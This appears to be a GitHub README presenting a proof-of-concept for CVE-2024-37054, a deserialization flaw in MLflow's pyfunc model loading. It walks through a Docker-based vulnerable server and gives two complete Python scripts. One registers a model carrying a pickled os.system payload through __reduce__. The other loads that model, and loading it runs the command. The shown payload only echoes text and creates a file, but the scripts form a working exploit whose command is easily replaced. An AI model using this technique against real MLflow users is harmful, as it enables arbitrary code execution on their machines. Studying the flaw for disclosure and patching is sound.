
NiteeshPujari/CVE-2024-37054, This repository contains a Proof of Concept (PoC) a critical deserialization vulnerability in MLflow that allows for Remote Code Execution (RCE).
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
This repository contains a Proof of Concept (PoC) for CVE-2024-37054, a critical deserialization vulnerability in MLflow that allows for Remote Code Execution (RCE).
CVE-2024-37054mlflow.pyfunc.load_model function. An attacker can craft a malicious model containing a pickled payload. When a victim loads this model, the payload is deserialized via cloudpickle.load, leading to arbitrary code execution on the victim's machine.0.9.0 up to, but not including, 2.14.2._load_pyfunc within mlflow/pyfunc/model.py.This PoC simulates two roles: an Attacker who uploads a malicious model and a Victim who loads it, triggering the RCE.
The easiest way to set up a vulnerable MLflow server is by using the provided Dockerfile.
Build and Run the Docker Container:
# 1. Build the Docker image
docker build -t mlflow-vulnerable .
# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
Your vulnerable MLflow server is now running at http://127.0.0.1:5000.
You will need two separate terminals on your host machine. Ensure you have a vulnerable version of mlflow installed locally (pip install mlflow==2.14.1) to run the client scripts.
In your first terminal, run the attacker's script to log the malicious model.
# poc/log_malicious_model.py
import mlflow
import os
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
Run it:
python poc/log_malicious_model.py
In your second terminal, run the victim's script to simulate loading the compromised model.
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
Run it:
python poc/load_vulnerable_model.py
After running the victim's script, you will see the message /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found in the terminal, and a new file named pwned.txt will be created in your directory. This confirms successful command execution.
This Proof of Concept was developed by Pujari Niteesh.